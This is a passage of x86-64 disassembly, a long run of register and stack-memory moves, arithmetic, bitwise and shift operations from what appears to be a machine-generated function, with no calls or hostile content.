mov dword [0x14019bfac], eax
mov rax, qword [rsp + 0xacd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4584]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb410]
mov dword [rcx], eax
lea rax, [rsp + 0x3f28]
mov qword [rsp + 0xb7b0], rax
mov rax, qword [rsp + 0xb4a0]
mov eax, dword [rax]
mov ecx, dword [0x14019bf18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4394], eax
mov rax, qword [rsp + 0xb718]
movzx eax, byte [rax]
mov byte [rsp + 0x1e1], al
movzx eax, word [rsp + 0xbdc]
movzx ecx, word [rsp + 0xe6c]
or eax, ecx
mov rcx, qword [rsp + 0xb310]
mov word [rcx], ax
mov eax, dword [rsp + 0x45dc]
mov rcx, qword [0x14019dac0]
mov qword [rsp + 0xb7b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4128]
mov dword [rsp + 0x4604], eax
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4454]
sar eax, cl
mov dword [rsp + 0x4588], eax
mov rax, qword [0x14019dad0]
mov eax, dword [rax]
mov dword [0x14019daec], eax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1050]
xor eax, ecx
mov word [rsp + 0xf34], ax
movsx eax, word [rsp + 0xfb4]
movsx ecx, word [rsp + 0x108c]
sub eax, ecx
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xb7c0], rax
mov rax, qword [rsp + 0xb5d8]
mov ecx, dword [rsp + 0x3dd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov eax, dword [0x14019bf60]
mov dword [rsp + 0x4608], eax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0xab68]
mov byte [rcx], al
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xaca8]
mov ecx, dword [rsp + 0x4194]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019da00]
mov dword [rcx], eax
lea rax, [rsp + 0x4598]
mov qword [rsp + 0xb7c8], rax
mov eax, dword [rsp + 0x4440]
mov ecx, dword [rsp + 0x3aa4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d3c], eax
mov rax, qword [rsp + 0xb210]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb478]
mov word [rcx], ax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
mov rax, qword [rsp + 0xafc8]
mov ecx, dword [rsp + 0x4580]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb070]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4550]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa960]
mov dword [rcx], eax
lea rax, [rsp + 0x39a0]
mov qword [rsp + 0xb7d0], rax
mov rax, qword [rsp + 0xb4e8]
mov ecx, dword [rsp + 0x4478]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xaa10]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb140]
mov dword [rcx], eax
lea rax, [0x14019d8e0]
mov qword [rsp + 0xb7d8], rax
movsx eax, byte [rsp + 0x1d3]
movsx ecx, byte [rsp + 0x7b]
xor eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b5]
shl eax, cl
mov byte [rsp + 0x1a5], al
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0x1118], ax
mov eax, dword [rsp + 0x41d0]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xb7e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4290], eax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov dword [rsp + 0x460c], eax
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb098]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa78]
mov byte [rcx], al
movzx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0xaec8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bfb0], ax
mov eax, dword [rsp + 0x44f4]
mov ecx, dword [rsp + 0x423c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41fc], eax
mov eax, dword [rsp + 0x41e4]
mov dword [rsp + 0x4610], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb5a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44b0]
mov dword [rsp + 0x4614], eax
movzx eax, word [0x14019bfa8]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0xb678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
mov rax, qword [rsp + 0xb208]
mov eax, dword [rax]
mov dword [rsp + 0x4618], eax
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [rsp + 0x3b60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xadc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
add eax, ecx
mov rcx, qword [0x14019dae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
movzx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0xace8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov word [rsp + 0x111c], ax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2c0]
mov qword [rsp + 0xb7e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44b0], eax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae00]
mov qword [rsp + 0xb7f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7f0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4488]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3460], eax
mov rax, qword [0x14019da90]
mov rcx, qword [rsp + 0xb0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x41f4], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xb7f8], rax
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf90]
and eax, ecx
mov rcx, qword [rsp + 0xae70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xb330]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf26], al
mov eax, dword [rsp + 0x43e4]
mov ecx, dword [rsp + 0x41a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov dword [rsp + 0x461c], eax
mov rax, qword [rsp + 0xaad8]
mov ecx, dword [rsp + 0x41d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0xa628]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb568]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0xaeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
mov rcx, qword [0x14019d940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov eax, dword [rsp + 0x4194]
mov dword [0x14019daf0], eax
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov dword [rsp + 0x4624], eax
mov rax, qword [rsp + 0xa9b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
sub eax, ecx
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
movzx eax, word [rsp + 0xf38]
mov word [rsp + 0x1120], ax
mov eax, dword [rsp + 0x4610]
mov ecx, dword [rsp + 0x458c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0xb7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [0x14019dad8]
mov eax, dword [rax]
mov dword [rsp + 0x4628], eax
mov rax, qword [rsp + 0xb000]
mov ecx, dword [rsp + 0x4574]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb420]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov byte [rsp + 0x1e6], al
mov rax, qword [0x14019d838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb758]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019bfb0], ax
mov eax, dword [rsp + 0x39c4]
movzx ecx, al
mov eax, dword [rsp + 0x41b0]
shl eax, cl
mov rcx, qword [rsp + 0xb2d8]
mov dword [rcx], eax
mov rax, qword [0x14019da98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0xb800], rax
mov eax, dword [rsp + 0x42a0]
mov ecx, dword [rsp + 0x4528]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4588], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xb808], rax
movsx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x108c]
movsx ecx, word [rsp + 0xfb4]
sub eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [rsp + 0x1e7], al
mov rax, qword [0x14019d8d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf6c], ax
mov rax, qword [rsp + 0xa8c8]
mov ecx, dword [rsp + 0x3acc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb468]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [0x14019daf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x335c], eax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0x110c]
and eax, ecx
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [0x14019d9a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov dword [rsp + 0x462c], eax
mov rax, qword [rsp + 0xab08]
mov rcx, qword [rsp + 0xaf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov dword [rsp + 0x4630], eax
mov rax, qword [0x14019d848]
mov ecx, dword [rsp + 0x42d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb3e0]
mov dword [rcx], eax
lea rax, [rsp + 0x1c0]
mov qword [0x14019daf8], rax
mov rax, qword [rsp + 0xad50]
movzx eax, word [rax]
mov word [rsp + 0x1124], ax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x35ac]
shl eax, cl
mov dword [rsp + 0x454c], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xb1a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xb810], rax
movsx eax, byte [str.Sb]
mov rcx, qword [rsp + 0xafe8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b8], al
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0xb818], rax
movzx eax, word [rsp + 0xfac]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1108], ax
mov eax, dword [rsp + 0x42bc]
mov ecx, dword [rsp + 0x44c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb150]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4200]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bfac], eax
mov rax, qword [rsp + 0xa590]
mov eax, dword [rax]
mov dword [rsp + 0x4634], eax
mov rax, qword [0x14019da00]
mov rcx, qword [rsp + 0xb090]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
mov eax, dword [rsp + 0x451c]
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa940]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [0x14019d9d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
sub eax, ecx
mov word [rsp + 0xd68], ax
mov eax, dword [rsp + 0x4374]
mov dword [rsp + 0x463c], eax
mov rax, qword [rsp + 0xa798]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x434c], eax
lea rax, [rsp + 0x4264]
mov qword [rsp + 0xb820], rax
mov eax, dword [rsp + 0x44ac]
mov ecx, dword [rsp + 0x45c0]
sub ecx, eax
mov eax, ecx
mov dword [str.Po.b], eax
movzx eax, byte [rsp + 0x17d]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
lea rax, [rsp + 0x10b0]
mov qword [rsp + 0xb828], rax
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xadd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc94], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [0x14019900d]
xor eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
mov eax, dword [rsp + 0x4604]
mov dword [rsp + 0x4640], eax
mov eax, dword [rsp + 0x4550]
movzx ecx, al
mov eax, dword [rsp + 0x3ce4]
sar eax, cl
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb520]
movzx eax, word [rax]
mov word [rsp + 0x1128], ax
movzx eax, byte [rsp + 0x179]
movzx ecx, byte [rsp + 0x1d1]
or eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0xa798]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaaa0]
mov qword [rsp + 0xb830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb830]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bfb8], eax
mov rax, qword [rsp + 0xb038]
mov ecx, dword [0x14019bf58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa90]
mov dword [rcx], eax
lea rax, [rsp + 0x45dc]
mov qword [rsp + 0xb838], rax
mov rax, qword [rsp + 0xaba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4190]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x36b4], eax
lea rax, [0x14019d7b2]
mov qword [rsp + 0xb840], rax
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xb728]
mov ecx, dword [rsp + 0x3ef8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov dword [rcx], eax
lea rax, [rsp + 0x4548]
mov qword [rsp + 0xb848], rax
mov eax, dword [rsp + 0x4428]
mov ecx, dword [rsp + 0x4284]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x451c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf2c], eax
mov rax, qword [0x14019d8c0]
mov rcx, qword [rsp + 0xab38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f1c], eax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [rsp + 0xb7c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa688]
mov word [rcx], ax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0xb850], rax
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
lea rax, [0x14019bf98]
mov qword [rsp + 0xb858], rax
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [rsp + 0x45dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c8], eax
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xb860], rax
lea rax, [rsp + 0x1d0]
mov qword [0x14019db00], rax
mov rax, qword [rsp + 0xb580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shr eax, cl
mov rcx, qword [rsp + 0xb468]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d34]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb490]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3d0]
mov eax, dword [rax]
mov dword [rsp + 0x4644], eax
mov eax, dword [rsp + 0x41d0]
movzx ecx, al
mov eax, dword [rsp + 0x4614]
shl eax, cl
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0xb098]
movzx eax, byte [rax]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xb5e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb460]
mov word [rcx], ax
mov rax, qword [rsp + 0xa598]
mov ecx, dword [rsp + 0x3cbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4548], eax
lea rax, [rsp + 0x4338]
mov qword [rsp + 0xb868], rax
mov rax, qword [rsp + 0xad80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0xed8]
add eax, ecx
mov word [rsp + 0xf74], ax
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xb870], rax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x1a7]
sub eax, ecx
mov byte [rsp + 0x151], al
mov eax, dword [rsp + 0x4404]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x428c], eax
mov eax, dword [rsp + 0x431c]
mov dword [rsp + 0x4648], eax
mov rax, qword [rsp + 0xad90]
mov ecx, dword [rsp + 0x4288]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43d4], eax
mov eax, dword [rsp + 0x430c]
mov dword [rsp + 0x464c], eax
mov eax, dword [rsp + 0x43c4]
mov ecx, dword [rsp + 0x45cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4330], eax
movzx eax, word [rsp + 0xde4]
movzx ecx, word [0x14019d844]
add eax, ecx
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf0f], al
lea rax, [rsp + 0x4558]
mov qword [rsp + 0xb878], rax
mov eax, dword [rsp + 0x4580]
mov ecx, dword [0x14019bf58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb7f8]
mov dword [rcx], eax
lea rax, [rsp + 0x42ac]
mov qword [rsp + 0xb880], rax
mov eax, dword [rsp + 0x4500]
mov rcx, qword [rsp + 0xb0d8]
mov qword [rsp + 0xb888], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb888]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4558], eax
mov rax, qword [rsp + 0xb860]
movzx eax, word [rax]
mov word [rsp + 0x112c], ax
movzx eax, byte [rsp + 0x1d9]
movzx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a9], al
lea rax, [rsp + 0xed8]
mov qword [rsp + 0xb890], rax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov dword [0x14019db08], eax
mov rax, qword [rsp + 0xb108]
mov rcx, qword [rsp + 0xac70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42a0], eax
lea rax, [rsp + 0xd5c]
mov qword [rsp + 0xb898], rax
movzx eax, byte [0x14019900c]
mov rcx, qword [rsp + 0xb258]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb140]
mov rcx, qword [rsp + 0xb548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4018]
mov dword [rsp + 0x4650], eax
mov rax, qword [rsp + 0xb230]
mov ecx, dword [rsp + 0x417c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
lea rax, [rsp + 0x4260]
mov qword [rsp + 0xb8a0], rax
movzx eax, word [rsp + 0xf78]
movzx ecx, word [0x14019d870]
and eax, ecx
mov word [rsp + 0xfa4], ax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf02], al
mov eax, dword [rsp + 0x4428]
mov ecx, dword [rsp + 0x4464]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb680]
mov dword [rcx], eax
lea rax, [rsp + 0x4248]
mov qword [rsp + 0xb8a8], rax
mov rax, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xb4c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44d8]
mov dword [rsp + 0x4654], eax
mov eax, dword [rsp + 0x4484]
mov ecx, dword [rsp + 0x42d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb638]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1df]
mov byte [rsp + 0x1e9], al
movsx eax, word [rsp + 0x1038]
movsx ecx, word [rsp + 0x1004]
add eax, ecx
mov rcx, qword [rsp + 0xa928]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x147], al
lea rax, [rsp + 0xfcc]
mov qword [0x14019db10], rax
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae00]
mov qword [rsp + 0xb8b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3f34], eax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xb218]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0xb148]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
movzx eax, word [rsp + 0xf34]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4408]
mov ecx, dword [0x14019bf58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4590]
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb408]
mov dword [rcx], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov dword [rsp + 0x465c], eax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [rsp + 0xf88]
add eax, ecx
mov word [0x14019d844], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf48]
mov byte [rcx], al
mov rax, qword [rsp + 0xb498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x39a0], eax
mov eax, dword [rsp + 0x43c8]
mov dword [rsp + 0x4660], eax
movsx eax, word [rsp + 0xa94]
mov rcx, qword [rsp + 0xb348]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
mov rax, qword [rsp + 0xaeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1eb], al
movzx eax, word [rsp + 0xfe4]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae28]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [0x14019900f]
add eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov dword [rsp + 0x4664], eax
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [rsp + 0x41cc]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bfbc], eax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0xb338]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4534], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xb8b8], rax
mov eax, dword [rsp + 0x4180]
mov rcx, qword [rsp + 0xb490]
mov qword [rsp + 0xb8c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4550], eax
movzx eax, word [rsp + 0xf6c]
mov word [rsp + 0x1130], ax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x1ad]
shl eax, cl
mov rcx, qword [rsp + 0xaee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4288]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa10]
mov dword [rcx], eax
lea rax, [rsp + 0x335c]
mov qword [rsp + 0xb8c8], rax
mov rax, qword [rsp + 0xa6e8]
mov ecx, dword [rsp + 0x415c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
